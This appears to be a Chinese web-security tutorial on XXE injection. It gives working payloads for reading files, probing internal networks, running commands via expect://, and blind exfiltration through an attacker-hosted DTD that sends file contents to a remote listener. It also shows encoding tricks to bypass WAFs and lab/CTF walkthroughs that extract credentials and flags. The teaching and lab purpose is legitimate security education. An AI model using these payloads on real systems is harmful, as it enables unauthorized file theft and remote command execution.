三十九.WEB漏洞-XXE&XML之利用检测绕过全解

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

关于 XML 知识点

  • 解释
    • XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义 (可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
    • XXE 漏洞全称 XMLExternal Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
  • XML 代码示例
三十九.WEB漏洞-XXE&XML之利用检测绕过全解
  • 各个语言相对应支持的协议

DTD

  • 解释
    • 文档类型定义(DTD)可定义合法的 XML 文档构建模块
      它使用一系列合法的元素来定义文档的结构
      DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
    • (1) 内部的 DOCTYPE 声明
      <!DOCTYPE 根元素 [元素声明 ]>
    • (2) 外部文档声明
      <!DOCTYPE 根元素 SYSTEM “文件名 “>
  • DTD 实体
    • (1) 内部实体声明
      <!ENTITY 实体名称 “实体的值 “>
    • (2) 外部实体声明
      <!ENTITY 实体名称 SYSTEM “URI”>
    • (3) 参数实体声明
      <!ENTITY %实体名称 “实体的值 “>
      <!ENTITY %实体名称 SYSTEM “URI”>

漏洞代码使用方法

  • 1. 文件读取协议
    • 代码:
      • <?xml version = “1.0”?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM “file:///c://test.txt”>]><x>&xxe;</x>
    • //xxe 为变量,读取 test.txt
    • // 打印出来
    • // 用 file 协议读指定路径的文件

2. 内网探针或攻击内网应用

  • 代码:
    • <?xml version = “1.0” encoding=”UTF-8″?>
    • <!DOCTYPE foo [
    • <!ELEMENT foo ANY >
    • <!ENTYTY rabbit SYSTEM “http://192.168.1.4:80/index.txt”>
    • ]>
    • <x>&rabbit;</x>
  • 上面的 ip 地址假设就是内网的一台服务器的 ip 地址,提交后当存在此 ip 以及端口文件则不会报错。还可以进行一个端口扫描,看一下端口是否开放。
  • 3. 引用外部实体 DTD
    • 代码:
      • <?xml version = “1.0”?>
      • <!DOCTYPE test [
      • <!ENTITY % file SYSTEM “http://8.130.17.18/evil2.dtd”>
      • %file;
      • ]>
      • <x>&send;</x>
    • 可以在远程攻击者服务器(127.0.0.1)上保存的 evil2.dtd 写上:
      • evil2.dtd:
        • <!ENTITY send SYSTEM “file:///d:/test.txt”>
    • 让对方服务器去访问外部的 dtd 文件。
    • 可以让对方服务器去访问自己服务器上的 dtd 文件(自己服务器上的 dtd 文件根据需要自定义内容),从而到达读取等各种攻击。
    • 条件:看对方的应用有没有禁用外部实体引用,这也是防御 XXE 的一种措施。
  • 4.RCE4
    • 代码 :
      • <?xml version=”1.0″ ?>
      • <!DOCTYPE ANY [
      • <!ENTITY xxe SYSTEM “expect://id”>
      • ]>
      • <x>&xxe;</x>
    • 读 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
  • 5. 无回显读取文件
    • 代码:
      • <?xml version=”1.0″?>
      • <!DOCTYPE test [
      • <!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=d:/test.txt”>
      • <!ENTITY % dtd SYSTEM “http://sql.tmzo.club/test.dtd”>
      • %dtd;
      • %send;
      • ]>
    • 本地 192.168.0.103 上构造 test.dtd:
      • <!ENTITY % payload
      • “<!ENTITY % send SYSTEM ‘http://192.168.0.103:8081/?data=%file;’>”
      • >
      • %payload;
    • 上面的 url 一般是自己的网站,通过第一步访问文件,然后再访问 dtd 文件,把读取到的数据赋给 data,然后我们只需要再自己的网站日志,或者写个 php 脚本保存下来,就能看到读取到的文件数据了。
    • 解析:
      • 1. 通过 php 的 filter 协议读取 d:/test.txt 的文件内容赋值给变量 %file
      • 2. 让对方服务器远程去访问自己服务器上的 dtd 文件
      • 3. 对方服务器访问到自己服务器的 dtd 文件后,让它通过 get 方式带着 %file 参数去访问自己服务器别的文件
      • 4. 通过日志文件查看 get 参数接收的值,进行 base64 解密
  • 6. 读文件(绕过)
    • ENTITY“SYSTEM“file 等关键词被过滤 –> 使用编码方式绕过:UTF-16BE
      • cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
    • http 被过滤 –> 可以使用其他协议绕过,比如 data:// 协议、file:// 协议加文件上传、php://filter 协议加文件上传
      • <?xml version = “1.0”?>
        <!DOCTYPE ANY [ <!ENTITY f SYSTEM “php://filter/read=convert.base64-encode/resource=xxe.php”> ]>
        <x>&f;</x>
    • 绕过 WAF 保护的 XXE–>
      • 方法 1:文档中的额外空格
        方法 2:格式无效
        方法 3:外来编码(Exotic encodings)
        方法 4:在一个文档中使用两种类型的编码

XXE 漏洞的修复与防御方案 -PHP,Java,Python- 过滤及禁用

  • 方案一:禁用外部实体
  • 过滤用户提交的 XML 数据
    • 过滤关键字:<!DOCTYPE 和 <!ENTITY,或者 SYSTEM 和 PUBLIC

案例演示

  • 案例 1:xxe-lab 靶场登录框 xml 数据传输测试-检测发现
  • 案例 2:CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
  • 案例 3:CTF-Vulnhub-XXE 安全真题复现-检测 , 利用 , 拓展 , 实战
  • 案例 4:xxe 安全漏洞自动化注射脚本工具 -XXEinjector(Ruby)

案例 1:xxe-lab 靶场登录框 xml 数据传输测试-检测发现

  • 如何检测发现 xxe 漏洞?
    • 1. 提交的数据包含 xml 格式如: <forgot><username>admin</username></forgot>
    • 2. 请求头中如:Content-Type: text/xml 或 Content-Type: application/xml
    • 3. 盲猜:更改 content-type 值 application/xml 看返回如何检测发现 xxe 漏洞?
  • 靶场下载地址:https://github.com/c0ny1/xxe-lab
  • 1. 以 xxe-lab 靶场登录框为例,使用 burp 抓包时,可以右击 send to Spider 自动爬行网站,所有的网站数据包会在 Proxy-History 模块显示。
  • 2. 此时可以全局搜索 xml 关键字
  • 3. 也可以查看 MIME type 类型是否为 XML,MIME type 类型为 XML 对应 Content-Type: text/xml 或 Content-Type: application/xml,对应内容形式如下:<user><username>2</username><password>2</password></user>
  • 4. 找到 xxe 漏洞点后,使用如下脚本攻击测试,成功读取到服务器上文件内容。
    • <?xml version = “1.0”?>
      <!DOCTYPE Mikasa [
      <!ENTITY test SYSTEM “file:///d:/test.txt”>
      ]>
      <user><username>&test;</username><password>Mikasa</password></user>
  • 5.bp 抓包进行修改(实验未成功)
三十九.WEB漏洞-XXE&XML之利用检测绕过全解

案例 2:CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

案例 3:CTF-Vulnhub-XXE 安全真题复现-检测 , 利用 , 拓展 , 实战

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

2. 使用 kali 自带的 netdiscover,扫描本网段除 kali 的 ip 之外存活的 ip 就是 xxe 靶机的 ip

  • netdiscover -i eth0 -r 192.168.215.0/24
    • 将上面的 ip 一个个试,最后发现 http://192.168.215.134/ 是靶场 IP,打开靶场

3. 漏洞查找

  • 1. 可以通过 kali 自带的 dirb,扫描目录
    • 2.robots.txt 是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt 文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
    • 3. 打开 192.168.49.151/xxe/
    • 4. 是一个登录页面,利用 bp 抓个包
    • 5. 右键 send to repeater,既然是 xxe 靶机那就存在 xxe 漏洞,先试下读取 /etc/passwd/
      • 代码(记住这里容易出问题)
        • <?xml version=”1.0″ encoding=”UTF-8″?>
          <!DOCTYPE r [<!ELEMENT r ANY>
          <!ENTITY admin SYSTEM
          “file:///etc/passwd”>]>
          <root><name>&admin;</name><password>ujuj</password></root>
      • 我们发现读取成功
三十九.WEB漏洞-XXE&XML之利用检测绕过全解

6. 说明这里存在漏洞,我们可以读取 admin.php 文件源码

  • 代码:
    • <?xml version=”1.0″ encoding=”UTF-8″?>
      <!DOCTYPE r [<!ELEMENT r ANY>
      <!ENTITY admin SYSTEM
      “php://filter/read=convert.base64-encode/resource=admin.php”>]>
      <root><name>&admin;</name><password>ujuj</password></root>
三十九.WEB漏洞-XXE&XML之利用检测绕过全解

7. 我们将获取到的 base64 解码

三十九.WEB漏洞-XXE&XML之利用检测绕过全解
  • 3. 我们获取到账号密码:administhebest // admin@123
  • 4. 登录账号,我们发现这里提示 flag
三十九.WEB漏洞-XXE&XML之利用检测绕过全解

5. 我们点击打开,却报错,于是我们利用 xxe.php,继续获取代码 flagmeout.php

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

6. 然后解密,我们得到 flag 的加密值,是 base32 位

三十九.WEB漏洞-XXE&XML之利用检测绕过全解
  • 7. 用 base32 解密,得到 base64 加密值,再次解密得到:/etc/.flag.php
  • 8. 我们继续读取这个文件
    • 代码:
      • <?xml version=”1.0″ encoding=”UTF-8″?>
        <!DOCTYPE r [<!ELEMENT r ANY>
        <!ENTITY admin SYSTEM
        “php://filter/read=convert.base64-encode/resource=/etc/.flag.php”>]>
        <root><name>&admin;</name><password>ujuj</password></root>
三十九.WEB漏洞-XXE&XML之利用检测绕过全解

9. 我们解密得到的是看不懂的代码

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

10. 我们直接放在服务器上运行

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

11. 运行结果得到 flag

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

案例 4:xxe 安全漏洞自动化注射脚本工具 -XXEinjector(Ruby)

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

XXEinjector 使用样例

三十九.WEB漏洞-XXE&XML之利用检测绕过全解

相关链接:

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容